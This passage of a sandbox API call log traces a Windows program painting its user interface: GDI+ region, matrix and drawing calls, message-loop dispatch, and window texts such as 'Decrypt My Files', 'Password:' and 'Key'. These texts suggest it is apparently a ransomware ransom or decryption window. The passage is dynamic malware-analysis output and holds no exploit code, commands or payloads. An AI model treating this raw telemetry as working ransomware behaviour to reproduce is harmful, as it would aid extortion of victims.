matrixOut=0xf75bb0) returned 0x0 [0161.917] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.918] GdipCombineRegionRegion (region=0x6920920, region2=0x6920630, combineMode=0x1) returned 0x0 [0161.918] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.918] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0161.918] LocalFree (hMem=0xf75c20) returned 0x0 [0161.918] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.918] GdipIsInfiniteRegion (region=0x6920920, graphics=0x6920320, result=0x19e7fc) returned 0x0 [0161.918] GdipIsInfiniteRegion (region=0x6920920, graphics=0x6920320, result=0x19e7ec) returned 0x0 [0161.918] GdipGetRegionHRgn (region=0x6920920, graphics=0x6920320, hRgn=0x19e7ec) returned 0x0 [0161.918] GdipDeleteRegion (region=0x6920920) returned 0x0 [0161.918] GdipGetDC (graphics=0x6920320, hdc=0x19e804) returned 0x0 [0161.918] GetCurrentObject (hdc=0x5001019f, type=0x1) returned 0xb00017 [0161.918] GetCurrentObject (hdc=0x5001019f, type=0x2) returned 0x900010 [0161.918] GetCurrentObject (hdc=0x5001019f, type=0x7) returned 0x8050721 [0161.918] GetCurrentObject (hdc=0x5001019f, type=0x6) returned 0x8a01c2 [0161.918] SaveDC (hdc=0x5001019f) returned 1 [0161.918] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xde0406fe [0161.918] GetClipRgn (hdc=0x5001019f, hrgn=0xde0406fe) returned 0 [0161.918] SelectClipRgn (hdc=0x5001019f, hrgn=0x710406f7) returned 2 [0161.918] DeleteObject (ho=0xde0406fe) returned 1 [0161.918] DeleteObject (ho=0x710406f7) returned 1 [0161.918] OffsetViewportOrgEx (in: hdc=0x5001019f, x=0, y=0, lppt=0x303fae0 | out: lppt=0x303fae0) returned 1 [0161.918] GetNearestColor (hdc=0x5001019f, color=0x323533) returned 0x323533 [0161.918] CreateSolidBrush (color=0x323533) returned 0x1a10073a [0161.918] FillRect (hDC=0x5001019f, lprc=0x19e808, hbr=0x1a10073a) returned 1 [0161.919] DeleteObject (ho=0x1a10073a) returned 1 [0161.919] RestoreDC (hdc=0x5001019f, nSavedDC=-1) returned 1 [0161.919] GdipReleaseDC (graphics=0x6920320, hdc=0x5001019f) returned 0x0 [0161.919] GdipRestoreGraphics (graphics=0x6920320, state=0xfd480dbd) returned 0x0 [0161.919] GdipDeleteRegion (region=0x6920630) returned 0x0 [0161.919] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0161.919] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.919] GetSystemMetrics (nIndex=42) returned 0 [0161.919] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0161.919] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0161.919] GdipGetImageWidth (image=0x6915b28, width=0x19e83c) returned 0x0 [0161.919] GdipGetImageHeight (image=0x6915b28, height=0x19e83c) returned 0x0 [0161.919] GdipDrawImageRectI (graphics=0x6920320, image=0x6915b28, x=0, y=2, width=32, height=32) returned 0x0 [0161.920] GdipGetDC (graphics=0x6920320, hdc=0x19e960) returned 0x0 [0161.920] GdipReleaseDC (graphics=0x6920320, hdc=0x5001019f) returned 0x0 [0161.920] GdipDeleteGraphics (graphics=0x6920320) returned 0x0 [0161.920] EndPaint (hWnd=0x1024c, lpPaint=0x19e904) returned 1 [0161.920] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.920] IsWindowUnicode (hWnd=0x1024e) returned 1 [0161.920] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.920] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.920] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.920] BeginPaint (in: hWnd=0x1024e, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0161.920] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.920] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.921] EndPaint (hWnd=0x1024e, lpPaint=0x19e8f8) returned 1 [0161.921] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.921] IsWindowUnicode (hWnd=0x10250) returned 1 [0161.921] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.921] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.921] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.921] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xf, wParam=0x0, lParam=0x0) [0161.922] SetTextColor (hdc=0x5301019f, color=0xc4c4c4) returned 0x0 [0161.922] BeginPaint (in: hWnd=0x10252, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0161.922] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.922] GdipCreateFromHDC (hdc=0x56010719, graphics=0x19e8e4) returned 0x0 [0161.922] GdipTranslateWorldTransform (graphics=0x6920320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.922] GdipSetClipRectI (graphics=0x6920320, x=0, y=0, width=251, height=63, combineMode=0x0) returned 0x0 [0161.923] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0161.923] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6920600) returned 0x0 [0161.923] GdipIsMatrixIdentity (matrix=0x6920600, result=0x19e944) returned 0x0 [0161.923] GdipGetMatrixElements (matrix=0x6920600, matrixOut=0xf75be8) returned 0x0 [0161.923] LocalFree (hMem=0xf75be8) returned 0x0 [0161.923] GdipDeleteMatrix (matrix=0x6920600) returned 0x0 [0161.924] GdipCreateRegion (region=0x19e92c) returned 0x0 [0161.924] GdipGetClip (graphics=0x6920320, region=0x6920630) returned 0x0 [0161.924] GdipIsInfiniteRegion (region=0x6920630, graphics=0x6920320, result=0x19e938) returned 0x0 [0161.924] GdipSaveGraphics (graphics=0x6920320, state=0x19e964) returned 0x0 [0161.924] GetClientRect (in: hWnd=0x10252, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0161.924] GdipCreateRegion (region=0x19e780) returned 0x0 [0161.924] GdipGetClip (graphics=0x6920320, region=0x6920920) returned 0x0 [0161.924] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0161.924] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6915f08) returned 0x0 [0161.924] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0161.924] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0161.924] LocalFree (hMem=0xf75be8) returned 0x0 [0161.924] GdipCombineRegionRegion (region=0x6920920, region2=0x6920630, combineMode=0x1) returned 0x0 [0161.924] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.924] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0161.925] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.925] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.925] GdipIsInfiniteRegion (region=0x6920920, graphics=0x6920320, result=0x19e7c0) returned 0x0 [0161.925] GdipIsInfiniteRegion (region=0x6920920, graphics=0x6920320, result=0x19e7b0) returned 0x0 [0161.925] GdipGetRegionHRgn (region=0x6920920, graphics=0x6920320, hRgn=0x19e7b0) returned 0x0 [0161.925] GdipDeleteRegion (region=0x6920920) returned 0x0 [0161.925] GdipGetDC (graphics=0x6920320, hdc=0x19e7c8) returned 0x0 [0161.925] GetCurrentObject (hdc=0x56010719, type=0x1) returned 0xb00017 [0161.925] GetCurrentObject (hdc=0x56010719, type=0x2) returned 0x900010 [0161.925] GetCurrentObject (hdc=0x56010719, type=0x7) returned 0x8050721 [0161.925] GetCurrentObject (hdc=0x56010719, type=0x6) returned 0x8a01c2 [0161.925] SaveDC (hdc=0x56010719) returned 1 [0161.925] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xf804070e [0161.925] GetClipRgn (hdc=0x56010719, hrgn=0xf804070e) returned 0 [0161.925] SelectClipRgn (hdc=0x56010719, hrgn=0x730406f7) returned 2 [0161.925] DeleteObject (ho=0xf804070e) returned 1 [0161.925] DeleteObject (ho=0x730406f7) returned 1 [0161.925] OffsetViewportOrgEx (in: hdc=0x56010719, x=0, y=0, lppt=0x303ff34 | out: lppt=0x303ff34) returned 1 [0161.925] GetNearestColor (hdc=0x56010719, color=0x323533) returned 0x323533 [0161.925] CreateSolidBrush (color=0x323533) returned 0x1b10073a [0161.925] FillRect (hDC=0x56010719, lprc=0x19e7cc, hbr=0x1b10073a) returned 1 [0161.925] DeleteObject (ho=0x1b10073a) returned 1 [0161.926] RestoreDC (hdc=0x56010719, nSavedDC=-1) returned 1 [0161.926] GdipReleaseDC (graphics=0x6920320, hdc=0x56010719) returned 0x0 [0161.926] GdipRestoreGraphics (graphics=0x6920320, state=0xfd460dbd) returned 0x0 [0161.926] GdipDeleteRegion (region=0x6920630) returned 0x0 [0161.926] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0161.926] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0161.926] GetSystemMetrics (nIndex=42) returned 0 [0161.926] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0161.926] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0161.926] GdipGetDC (graphics=0x6920320, hdc=0x19e7e8) returned 0x0 [0161.926] GetCurrentObject (hdc=0x56010719, type=0x1) returned 0xb00017 [0161.926] GetCurrentObject (hdc=0x56010719, type=0x2) returned 0x900010 [0161.926] GetCurrentObject (hdc=0x56010719, type=0x7) returned 0x8050721 [0161.926] GetCurrentObject (hdc=0x56010719, type=0x6) returned 0x8a01c2 [0161.926] SaveDC (hdc=0x56010719) returned 1 [0161.926] GetNearestColor (hdc=0x56010719, color=0xf0f0f0) returned 0xf0f0f0 [0161.926] RestoreDC (hdc=0x56010719, nSavedDC=-1) returned 1 [0161.926] GdipReleaseDC (graphics=0x6920320, hdc=0x56010719) returned 0x0 [0161.927] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.927] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0161.927] GdipGetTextRenderingHint (graphics=0x6920320, mode=0x19e788) returned 0x0 [0161.927] GdipGetDC (graphics=0x6920320, hdc=0x19e774) returned 0x0 [0161.927] GetCurrentObject (hdc=0x56010719, type=0x1) returned 0xb00017 [0161.927] GetCurrentObject (hdc=0x56010719, type=0x2) returned 0x900010 [0161.927] GetCurrentObject (hdc=0x56010719, type=0x7) returned 0x8050721 [0161.927] GetCurrentObject (hdc=0x56010719, type=0x6) returned 0x8a01c2 [0161.927] SaveDC (hdc=0x56010719) returned 1 [0161.927] GetTextAlign (hdc=0x56010719) returned 0x0 [0161.927] GetTextColor (hdc=0x56010719) returned 0x0 [0161.927] SetTextColor (hdc=0x56010719, color=0xf0f0f0) returned 0x0 [0161.927] GetCurrentObject (hdc=0x56010719, type=0x6) returned 0x8a01c2 [0161.927] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0161.927] SelectObject (hdc=0x56010719, h=0x240a0712) returned 0x8a01c2 [0161.927] GetBkMode (hdc=0x56010719) returned 2 [0161.927] SetBkMode (hdc=0x56010719, mode=1) returned 2 [0161.928] DrawTextExW (in: hdc=0x56010719, lpchText="Password:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x30403f8 | out: lpchText="Password:", lprc=0x19e708) returned 63 [0161.928] RestoreDC (hdc=0x56010719, nSavedDC=-1) returned 1 [0161.928] GdipReleaseDC (graphics=0x6920320, hdc=0x56010719) returned 0x0 [0161.928] GdipGetDC (graphics=0x6920320, hdc=0x19e924) returned 0x0 [0161.928] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=251, cy=63, hdcSrc=0x56010719, x1=0, y1=0, rop=0xcc0020) returned 1 [0161.928] GdipReleaseDC (graphics=0x6920320, hdc=0x56010719) returned 0x0 [0161.928] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.928] SelectObject (hdc=0x56010719, h=0x85000f) returned 0x8050721 [0161.928] DeleteDC (hdc=0x56010719) returned 1 [0161.928] GdipDeleteGraphics (graphics=0x6920320) returned 0x0 [0161.928] EndPaint (hWnd=0x10252, lpPaint=0x19e8c8) returned 1 [0161.929] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.929] IsWindowUnicode (hWnd=0x10254) returned 1 [0161.929] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.929] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.929] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.929] BeginPaint (in: hWnd=0x10254, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x10105d6 [0161.929] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.929] CreateCompatibleDC (hdc=0x10105d6) returned 0x58010719 [0161.929] SelectObject (hdc=0x58010719, h=0x8050721) returned 0x85000f [0161.929] GdipCreateFromHDC (hdc=0x58010719, graphics=0x19e8d8) returned 0x0 [0161.929] GdipTranslateWorldTransform (graphics=0x6920320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.929] GdipSetClipRectI (graphics=0x6920320, x=0, y=0, width=467, height=42, combineMode=0x0) returned 0x0 [0161.929] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0161.929] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6920600) returned 0x0 [0161.929] GdipIsMatrixIdentity (matrix=0x6920600, result=0x19e938) returned 0x0 [0161.929] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0161.929] GdipGetMatrixElements (matrix=0x6920600, matrixOut=0xf75be8) returned 0x0 [0161.929] LocalFree (hMem=0xf75be8) returned 0x0 [0161.929] GdipDeleteMatrix (matrix=0x6920600) returned 0x0 [0161.929] GdipCreateRegion (region=0x19e920) returned 0x0 [0161.929] GdipGetClip (graphics=0x6920320, region=0x6920630) returned 0x0 [0161.930] GdipIsInfiniteRegion (region=0x6920630, graphics=0x6920320, result=0x19e92c) returned 0x0 [0161.930] GdipSaveGraphics (graphics=0x6920320, state=0x19e958) returned 0x0 [0161.930] GdipRestoreGraphics (graphics=0x6920320, state=0xfd440dbd) returned 0x0 [0161.930] GdipDeleteRegion (region=0x6920630) returned 0x0 [0161.930] GdipGetDC (graphics=0x6920320, hdc=0x19e660) returned 0x0 [0161.930] GetCurrentObject (hdc=0x58010719, type=0x1) returned 0xb00017 [0161.930] GetCurrentObject (hdc=0x58010719, type=0x2) returned 0x900010 [0161.930] GetCurrentObject (hdc=0x58010719, type=0x7) returned 0x8050721 [0161.930] GetCurrentObject (hdc=0x58010719, type=0x6) returned 0x8a01c2 [0161.930] SaveDC (hdc=0x58010719) returned 1 [0161.930] GetNearestColor (hdc=0x58010719, color=0x323533) returned 0x323533 [0161.930] GetNearestColor (hdc=0x58010719, color=0x111111) returned 0x111111 [0161.930] GetNearestColor (hdc=0x58010719, color=0x0) returned 0x0 [0161.930] GetNearestColor (hdc=0x58010719, color=0x868c88) returned 0x868c88 [0161.930] GetNearestColor (hdc=0x58010719, color=0x111111) returned 0x111111 [0161.930] GetNearestColor (hdc=0x58010719, color=0x969c98) returned 0x969c98 [0161.930] GetNearestColor (hdc=0x58010719, color=0x868c88) returned 0x868c88 [0161.930] GetNearestColor (hdc=0x58010719, color=0x3c3f3d) returned 0x3c3f3d [0161.930] GetNearestColor (hdc=0x58010719, color=0xc4c4c4) returned 0xc4c4c4 [0161.930] RestoreDC (hdc=0x58010719, nSavedDC=-1) returned 1 [0161.931] GdipReleaseDC (graphics=0x6920320, hdc=0x58010719) returned 0x0 [0161.931] SelectObject (hdc=0x8e0106dd, h=0xc0a0739) returned 0x240a0712 [0161.931] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Decrypt My Files", cchText=16, lprc=0x19e51c, format=0x102415, lpdtp=0x30408d0 | out: lpchText="Decrypt My Files", lprc=0x19e51c) returned 28 [0161.931] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0161.931] GdipGetClip (graphics=0x6920320, region=0x6920630) returned 0x0 [0161.931] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0161.931] GdipGetWorldTransform (graphics=0x6920320, matrix=0x6915f08) returned 0x0 [0161.931] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e5bc) returned 0x0 [0161.931] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.931] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0161.931] LocalFree (hMem=0xf75c20) returned 0x0 [0161.931] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.931] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0161.931] LocalFree (hMem=0xf75c20) returned 0x0 [0161.931] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.931] GdipIsInfiniteRegion (region=0x6920630, graphics=0x6920320, result=0x19e5e4) returned 0x0 [0161.931] GdipIsInfiniteRegion (region=0x6920630, graphics=0x6920320, result=0x19e5d4) returned 0x0 [0161.931] GdipGetRegionHRgn (region=0x6920630, graphics=0x6920320, hRgn=0x19e5d4) returned 0x0 [0161.931] GdipDeleteRegion (region=0x6920630) returned 0x0 [0161.932] GdipGetDC (graphics=0x6920320, hdc=0x19e5ec) returned 0x0 [0161.932] GetCurrentObject (hdc=0x58010719, type=0x1) returned 0xb00017 [0161.932] GetCurrentObject (hdc=0x58010719, type=0x2) returned 0x900010 [0161.932] GetCurrentObject (hdc=0x58010719, type=0x7) returned 0x8050721 [0161.932] GetCurrentObject (hdc=0x58010719, type=0x6) returned 0x8a01c2 [0161.932] SaveDC (hdc=0x58010719) returned 1 [0161.932] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x740406f7 [0161.932] GetClipRgn (hdc=0x58010719, hrgn=0x740406f7) returned 0 [0161.932] SelectClipRgn (hdc=0x58010719, hrgn=0xfb04070e) returned 2 [0161.932] DeleteObject (ho=0x740406f7) returned 1 [0161.932] DeleteObject (ho=0xfb04070e) returned 1 [0161.932] OffsetViewportOrgEx (in: hdc=0x58010719, x=0, y=0, lppt=0x3040ac0 | out: lppt=0x3040ac0) returned 1 [0161.932] GetNearestColor (hdc=0x58010719, color=0x323533) returned 0x323533 [0161.932] CreateSolidBrush (color=0x323533) returned 0x1c10073a [0161.932] FillRect (hDC=0x58010719, lprc=0x19e5f0, hbr=0x1c10073a) returned 1 [0161.932] DeleteObject (ho=0x1c10073a) returned 1 [0161.932] RestoreDC (hdc=0x58010719, nSavedDC=-1) returned 1 [0161.932] GdipReleaseDC (graphics=0x6920320, hdc=0x58010719) returned 0x0 [0161.932] GdipGetTextRenderingHint (graphics=0x6920320, mode=0x19e668) returned 0x0 [0161.932] GdipGetDC (graphics=0x6920320, hdc=0x19e654) returned 0x0 [0161.932] GetCurrentObject (hdc=0x58010719, type=0x1) returned 0xb00017 [0161.932] GetCurrentObject (hdc=0x58010719, type=0x2) returned 0x900010 [0161.933] GetCurrentObject (hdc=0x58010719, type=0x7) returned 0x8050721 [0161.933] GetCurrentObject (hdc=0x58010719, type=0x6) returned 0x8a01c2 [0161.933] SaveDC (hdc=0x58010719) returned 1 [0161.933] GetTextAlign (hdc=0x58010719) returned 0x0 [0161.933] GetTextColor (hdc=0x58010719) returned 0x0 [0161.933] SetTextColor (hdc=0x58010719, color=0x111111) returned 0x0 [0161.933] GetCurrentObject (hdc=0x58010719, type=0x6) returned 0x8a01c2 [0161.933] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0161.933] SelectObject (hdc=0x58010719, h=0xc0a0739) returned 0x8a01c2 [0161.933] GetBkMode (hdc=0x58010719) returned 2 [0161.933] SetBkMode (hdc=0x58010719, mode=1) returned 2 [0161.933] DrawTextExW (in: hdc=0x58010719, lpchText="Decrypt My Files", cchText=16, lprc=0x19e484, format=0x102415, lpdtp=0x3040d7c | out: lpchText="Decrypt My Files", lprc=0x19e484) returned 28 [0161.933] DrawTextExW (in: hdc=0x58010719, lpchText="Decrypt My Files", cchText=16, lprc=0x19e5e8, format=0x102015, lpdtp=0x3040d7c | out: lpchText="Decrypt My Files", lprc=0x19e5e8) returned 28 [0161.934] RestoreDC (hdc=0x58010719, nSavedDC=-1) returned 1 [0161.934] GdipReleaseDC (graphics=0x6920320, hdc=0x58010719) returned 0x0 [0161.934] GetFocus () returned 0x30212 [0161.934] GdipCreatePen1 (color=0xff007acc, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0161.934] GdipDrawRectangleI (graphics=0x6920320, pen=0x6915e78, x=0, y=0, width=466, height=41) returned 0x0 [0161.934] GdipDeletePen (pen=0x6915e78) returned 0x0 [0161.934] GdipGetDC (graphics=0x6920320, hdc=0x19e918) returned 0x0 [0161.934] BitBlt (hdc=0x10105d6, x=0, y=0, cx=467, cy=42, hdcSrc=0x58010719, x1=0, y1=0, rop=0xcc0020) returned 1 [0161.934] GdipReleaseDC (graphics=0x6920320, hdc=0x58010719) returned 0x0 [0161.934] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.934] SelectObject (hdc=0x58010719, h=0x85000f) returned 0x8050721 [0161.934] DeleteDC (hdc=0x58010719) returned 1 [0161.934] GdipDeleteGraphics (graphics=0x6920320) returned 0x0 [0161.934] EndPaint (hWnd=0x10254, lpPaint=0x19e8bc) returned 1 [0161.935] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.935] IsWindowUnicode (hWnd=0x10256) returned 1 [0161.935] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.935] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.935] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.935] BeginPaint (in: hWnd=0x10256, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x60100ce [0161.935] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.935] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0161.935] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0161.935] GetSystemMetrics (nIndex=42) returned 0 [0161.935] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0161.935] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0161.935] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.935] EndPaint (hWnd=0x10256, lpPaint=0x19e8e4) returned 1 [0161.935] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.935] IsWindowUnicode (hWnd=0x10258) returned 1 [0161.935] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.936] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.936] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.936] BeginPaint (in: hWnd=0x10258, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0161.936] EndPaint (hWnd=0x10258, lpPaint=0x19e8c8) returned 1 [0161.936] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.936] IsWindowUnicode (hWnd=0x1025a) returned 1 [0161.936] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.936] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.936] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.936] BeginPaint (in: hWnd=0x1025a, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1e0106e1 [0161.936] EndPaint (hWnd=0x1025a, lpPaint=0x19e904) returned 1 [0161.936] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.936] IsWindowUnicode (hWnd=0x1025c) returned 1 [0161.936] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.936] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.936] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.937] BeginPaint (in: hWnd=0x1025c, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x10105d6 [0161.937] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.937] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0161.937] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.937] GetSystemMetrics (nIndex=42) returned 0 [0161.937] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0161.937] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0161.937] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.937] EndPaint (hWnd=0x1025c, lpPaint=0x19e8f8) returned 1 [0161.937] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.937] IsWindowUnicode (hWnd=0x1025e) returned 1 [0161.937] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.937] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.937] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0161.937] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0161.938] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.938] IsWindowUnicode (hWnd=0x10260) returned 1 [0161.938] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.938] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.938] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.938] BeginPaint (in: hWnd=0x10260, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0161.938] EndPaint (hWnd=0x10260, lpPaint=0x19e8c8) returned 1 [0161.938] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.938] IsWindowUnicode (hWnd=0x10262) returned 1 [0161.938] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.939] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.939] DispatchMessageW 